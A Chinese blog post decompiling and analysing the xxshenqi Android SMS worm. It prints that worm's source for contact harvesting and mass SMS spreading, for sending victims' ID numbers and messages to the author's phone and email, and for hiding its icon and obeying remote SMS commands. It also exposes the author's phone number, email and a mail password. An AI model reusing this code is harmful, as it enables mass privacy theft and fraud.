背景

今年七夕爆发了一场大规模手机病毒传播,apk的名字叫做xxshenqi。中了这个病毒的用户会群发手机所有联系人一条信息,内容是包含这个apk下载的链接,同时用户的联系人信息和短信会被窃取,造成隐私泄露和电话扣费的危害。事实上,xxshenqi.apk只是一个外壳,达到扩散及得到用户的身份证和姓名的目的,它解压后会发现还内嵌有一个com.android.Trogoogle.apk的木马程序,这个程序能够控制用户短信,包括读取,发送和伪造。

反编译

由于软件的作者没有进行代码混淆,所以对apk反编译之后的代码一目了然。

前期准备:

1.解压软件    (解压apk,获得classes.dex)

2.dex2jar    (将apk的classes.dex转化为jar文件)

3.jd-gui    (反编译工具,直接查看jar包的源代码)

4.xxshenqi.apk    (样本)

步骤:

1.用解压软件把xxshenqi.apk解压出来,找到一个classes.dex文件,这个是安卓源码编译过的字节码包

2.将这个classes.dex文件复制到dex2jar.bat同一目录下

3.cmd到该目录下,运行命令>> d2j-dex2jar.bat classes.dex

4.得到一个classes_dex2jar.jar文件

5.用jd-gui.exe打开这个jar文件,就可以看到源代码了

6.用1-5步骤得到assets目录下的com.android.Trogoogle.apk的源代码

代码分析

包名:com.example.xxshenqi

|->点击登陆按钮->永远无法登陆成功

程序运行的步骤是:WelcomeActivity->MainActivity{

|->点击注册按钮->RegisterActivity

WelcomeActivity

首先可以发现WelcomeActivity是最开始的欢迎界面,在启动这个界面的过程中,程序就已经完成以下几件事:

1.读取联系人信息,包括联系人姓名和联系人手机号码

2.向所有联系人群发一条短信

3.群发完成后向作者发送一条完成短信

接下来分析WelcomeActivity中的ReadCONTACTS方法中的代码:

 private void ReadCONTACTS(Context paramContext)
{
this.contactArray = new ArrayList();
this.context = paramContext;
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
new Thread()
{
public void run()
{
if (!WelcomeActivity.this.cursor.moveToNext())
{
if (WelcomeActivity.this.counts != 99) {}
}
else
{
String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
ArrayList localArrayList = new ArrayList();
localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
for (;;)
{
if (!localCursor.moveToNext()) {}
for (;;)
{
localCursor.close();
WelcomeActivity.this.contactArray.add(localArrayList);
break;
WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
try
{
if (WelcomeActivity.this.phoneString.length() == 11)
{
sleep(20L);
if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
sleep(5000L);
}
if (WelcomeActivity.this.counts == 99) {
continue;
}
SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
}
}
catch (Exception localException)
{
for (;;)
{
localException.toString();
}
}
}
localArrayList.add(WelcomeActivity.this.phoneString);
}
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
System.out.println("===========================");
System.out.println("test---->群发OK");
System.out.println("============================");
}
}.start();
}

可以看到以下几条关键代码:

this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

读取通讯录

WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));

获得联系人姓名

 WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));

获得联系人手机号码

在这里,作者对联系人手机号码做了一些处理,把空格和"+86"前缀去掉,得到11位的手机号码,在判断手机号码为11位之后,就开始发短信。同时,为了防止过于快速的发送短信被运营商封禁,作者还做了休眠(sleep()),每条短信休眠20ms,每20条短信休眠5秒,每100条短信清空一下指针。

SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)

上面就是发送短信的代码,也就是广大用户收到的那条短信,可以看出第一个参数是接收端的手机号码,第三个参数是短信内容,其中这里的代码phoneString存的是手机号码,nameString存的是联系人名字。

SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);

最后,群发成功后就会发送一条信息给作者。这里也可以看到作者的手机号码。

MainActivity

在前面程序完成了散播病毒的功能,接下来在MainActivity完成以下几件事:

1.检测Trogoogle子包是否已经安装,如果没有,就引导用户去安装,然后找到assets目录下的com.android.Trogoogle.apk安装

2.安装成功后会发一条信息给作者,表示用户已经中了木马

3.此时到了程序主界面,如果用户选择“登陆",就先对网络进行检测,事实上用户是永远不可能登陆成功的,因为若用户输入的密码大于等于6位,会显示"正在验证,请稍后..."“密码错误或账号不存在”,若用户输入的密码小于6位,会显示"请输入正确的密码或账号"(传说中的坑爹);如果用户选择"注册",那么就会到了RegisterActivity进行注册

检测和安装Trogoogle

 1 if (!detectApk("com.example.com.android.trogoogle"))
{
System.out.println("host开始安装==============================");
String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
showInstallConfirmDialog(this, str);
}</span> <span style="font-size:18px;"> public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
{
try
{
File localFile = new File(paramString2);
if (localFile.exists()) {
return true;
}
localFile.createNewFile();
InputStream localInputStream = paramContext.getAssets().open(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
byte[] arrayOfByte = new byte[1024];
boolean bool;
for (;;)
{
int i = localInputStream.read(arrayOfByte);
if (i == -1)
{
localFileOutputStream.flush();
localFileOutputStream.close();
localInputStream.close();
bool = true;
break;
}
localFileOutputStream.write(arrayOfByte, 0, i);
}
AlertDialog.Builder localBuilder;
return bool;
}
catch (IOException localIOException)
{
Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setMessage(localIOException.getMessage());
localBuilder.show();
localIOException.printStackTrace();
bool = false;
}
} public void showInstallConfirmDialog(final Context paramContext, final String paramString)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setIcon(2130837592);
localBuilder.setTitle("未安装资源包");
localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
{
try
{
String str = "chmod 777 " + paramString;
Runtime.getRuntime().exec(str);
Intent localIntent = new Intent("android.intent.action.VIEW");
localIntent.addFlags(268435456);
localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
paramContext.startActivity(localIntent);
return;
}
catch (IOException localIOException)
{
for (;;)
{
localIOException.printStackTrace();
}
}
}
});
localBuilder.show();
}

登陆

  public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
{
String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
return;
}
if (!MainActivity.this.goToNetWork())
{
Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
return;
}
if (MainActivity.this.pass.getText().toString().length() >= 6)
{
Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
return;
}
Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
}

RegisterActivity

 public void onClick(View paramAnonymousView)
{
String str = RegisterActivity.this.idEditText.getText().toString();
if (str.length() != 18)
{
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
return;
}
int i = Integer.parseInt(str.substring(6, 10));
int j = Integer.parseInt(str.substring(10, 12));
int k = Integer.parseInt(str.substring(12, 14));
if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
{
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
return;
}
if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
{
Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
return;
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + str, null, null);
Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
}

这个注册的Activity获取了用户填写的姓名和身份证号,注册完成后这些信息会以短信的形式发送到作者的手机上。同时,从上面的代码可以看出作者也对姓名和身份证号做了简单的校验。

分析完掩人耳目的外壳,现在来看里面的木马程序

包名:example.com.android.trogoogle

MainActivity

在这个入口程序中,主要的功能是实现隐藏图标。

 protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
requestWindowFeature(1);
setContentView(2130903063);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
System.out.println("APP图标隐藏成功==============================");
Intent localIntent = new Intent();
localIntent.setClass(this, ListenMessageService.class);
startService(localIntent);
System.out.println(" startService成功==============================");
System.out.println("--------->>>finish()");
finish();
}

ListenMessageService

这里有个比较重要的类SmsObserver,顾名思义,是用来监控短信的。里面包含了SEND查询和RECV查询,以及几种处理状态。当发件箱有变化时,就会进入SEND查询;当收件箱有变化时就会进入RECV查询。

BroadcastRecvMessage

RECV有几种指令,包括

readmessage指令就会读取所有短信并且发送到作者的邮箱中;

sendmessage指令就会发送指定的内容到指定的号码;

makemessage指令伪造短信

 if (!str5.equals("readmessage")) {
break label188;
}
System.out.println("木马收到发送邮件命令==============================");
String str10 = ReadAllMessage(paramContext);
Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
localIntent4.putExtra("String", str10);
paramContext.startService(localIntent4);
abortBroadcast();
continue;
if (!str5.equals("sendmessage")) {
break label188;
}
System.out.println("木马收到发送短信命令==============================");
int n = str2.lastIndexOf('/');
String str8 = str2.substring(k + 1, n);
String str9 = str2.substring(n + 1, str2.length());
SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
System.out.println("木马发送短信成功================================");
 if (!str5.equals("makemessage")) {
break label188;
}
System.out.println("木马收到伪造短信命令==============================");
int m = str2.lastIndexOf('/');
String str6 = str2.substring(k + 1, m);
String str7 = str2.substring(m + 1, str2.length());
Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
localIntent3.putExtra("address", str6);
localIntent3.putExtra("body", str7);
paramContext.startService(localIntent3);

同时还有一些作者判定的信息内容也会发送给作者(比如,淘宝和普通的信息)

 System.out.println("木马觉得淘宝信息==============================");
str4 = "【特殊消息】" + str2;
if (str4.length() > 60)
{
localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
}
 System.out.println("木马觉得是普通信息==============================");
localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);

MySendEmailService

这里作者暴露了他的个人邮箱和口令

 protected void onHandleIntent(Intent paramIntent)
{
System.out.println("木马进入MySendEmailService==============================");
String str = paramIntent.getStringExtra("String");
System.out.println("木马开始发送邮件============================");
MailSenderInfo localMailSenderInfo = new MailSenderInfo();
localMailSenderInfo.setMailServerHost("smtp.qq.com");
localMailSenderInfo.setMailServerPort("25");
localMailSenderInfo.setValidate(true);
localMailSenderInfo.setUserName("a137736513@qq.com");
localMailSenderInfo.setPassword("lishulili.");
localMailSenderInfo.setFromAddress("a137736513@qq.com");
localMailSenderInfo.setToAddress("137736513@qq.com");
localMailSenderInfo.setSubject("信息");
localMailSenderInfo.setContent(str);
new SimpleMailSender().sendTextMail(localMailSenderInfo);
SimpleMailSender.sendHtmlMail(localMailSenderInfo);
System.out.println("木马完成发送邮件=============================");
System.out.println("木马离开MySendEmailService=============================");
System.out.println("木马killProcess==============================");
Process.killProcess(Process.myPid());
}

当然,现在口令已经被改了。

总结

据作者本人说没想过影响会那么大。确实,社工部分非常简陋,传播的信息内容只是”xxx,看这个,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,这样子看来,毫不犹豫点击这个链接看上去挺傻的,因为发送者什么都没有说明,可事实上确实有很多用户中招了。

虽然很多人说作者做这个东西其实没什么技术含量,但是他才大一,并且想做就做了,这点挺佩服的,如果能增加一点法律意识可能就没那么悲剧了。

后记

这个程序在安全大牛眼里可能是一个玩具,但是对于我来说拿来练手就刚刚好了。第一次反编译和分析apk,有种莫名的成就感。不过文章写出来,似乎表达差了一点。最后非常感谢CJ给我提供了样本。

参考

http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html

http://www.cnblogs.com/qxzy/p/3889296.html

xxshenqi分析报告的更多相关文章

  1. Alpha阶段事后分析报告

    每个团队编写一个事后分析报告,对于团队在Alpha阶段的工作做一个总结. 请在2016年11月24日上课之前根据下述博客中的模板总结前一阶段的工作,发表在团队博客上,并在课上的事后分析会上进行汇报,并 ...

  2. 《奥威Power-BI智能分析报告制作方法 》精彩回顾

     上次课我们简单介绍了奥威Power-BI的智能分析报告,并展示了报告与图表相结合的应用场景.图文分析报表的意义不只在于美观,更重要的是固定框架下的灵活性和追根究底的动态分析,有着很强的实用性.上节课 ...

  3. 12月07日《奥威Power-BI智能分析报告制作方法 》腾讯课堂开课啦

            前几天跟我一个做报表的哥们聊天,听着他一茬一茬地诉苦:“每天做报表做到想吐,老板看报表时还是不给一个好脸色.”我也只能搬出那一套“过程大于结果”的内心疗程赠与他,没想到他反而怒了:“做 ...

  4. M1事后分析报告(Postmortem Report)

    M1事后分析报告(Postmortem Report) 设想和目标 1. 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 我们项目组所开发的软件为一个基于Andro ...

  5. websphere OSGi应用环境下服务调用saaj包加载问题分析报告

    websphere OSGi应用环境下服务调用saaj包加载问题分析报告 作者:bingjava 版权声明:本文为博主原创文章,转载请说明出处:http://www.cnblogs.com/bingj ...

  6. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  7. 推荐一个利用 python 生成 pptx 分析报告的工具包:reportgen

    reportgen v0.1.8 更新介绍 这段时间,我对 reportgen 进行了大工程量的修改和更新.将之前在各个文章中出现的函数进行了封装,同时也对现有工具包的一些逻辑进行了调整. 1.rep ...

  8. python 生成 pptx 分析报告的工具包:reportgen

    python机器学习-sklearn挖掘乳腺癌细胞( 博主亲自录制) 网易云观看地址 https://study.163.com/course/introduction.htm?courseId=10 ...

  9. 使用AES加密的勒索类软件分析报告

    报告名称:  某勒索类软件分析报告    作者:        李东 报告更新日期: 样本发现日期: 样本类型: 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: da4ab5e31793 ...

随机推荐

  1. 去 HBase,Kylin on Parquet 性能表现如何?

    Kylin on HBase 方案经过长时间的发展已经比较成熟,但也存在着局限性,因此,Kyligence 推出了 Kylin on Parquet 方案(了解详情戳此处).通过标准数据集测试,与仍采 ...

  2. 2020 wannafly camp 补题 day1

    题目可以从牛客上找到. 最简单的一个题应该是B B. 密码学 这个应该就是倒着推,题目给了你加密的顺序,所以我们逆推这个就可以得到每一次加密前的字符串. 1H. 最大公约数 题目大意就是给你一个范围1 ...

  3. SSM的医院管理系统录像

    视频观看地址:http://mp.toutiao.com/preview_article/?pgc_id=6806135073323090444

  4. 【Spark】SparkStreaming的容错机制

    文章目录 检查点机制 驱动器程序容错 工作节点容错 接收器容错 处理保证 检查点机制 Metadata checkpointing -- 将定义流计算的信息存入容错的系统如HDFS. Data che ...

  5. Istio的流量管理(概念)(istio 系列二)

    Istio的流量管理(概念) 目录 Istio的流量管理(概念) 概述 Virtual services 为什么使用virtual service Virtual services举例 hosts字段 ...

  6. 01-Taro打造hello-world应用

    01-Taro打造hello-world应用 一.简介 Taro是由京东凹凸实验室出品,书写一套代码通过 Taro 的编译工具,将源代码分别编译出可以在不同端(微信 / 京东 / 百度 / 支付宝 / ...

  7. indexDB出坑指南

    对于入了前端坑的同学,indexDB绝对是需要深入学习的. 本文针对indexDB的难点问题(事务和数据库升级)做了详细的讲解,而对于indexDB的特点和使用方法只简要的介绍了一下.如果你有一些使用 ...

  8. python语法学习第九天--else和with语句

    else: while/for else:正常执行完循环(非break)执行else中代码 try else:未捕捉到异常,执行else中代码 with: 语法格式: with open('666.t ...

  9. Python脚本:linux上将筛选的文件夹复制到另一个目录,保存目录结构以及文件和文件夹操作方法

    import os,shutil def newDir(dir_path): if not os.path.exists(dir_path): os.makedirs(dir_path) def co ...

  10. SQL SERVER 的窗体函数OVER的使用:row_number/rank/dense_rank

    举个例子给大家加深印象,也方便理解: 1.目前有这几笔数据: Select as score into #studentSoure union all Select as score union al ...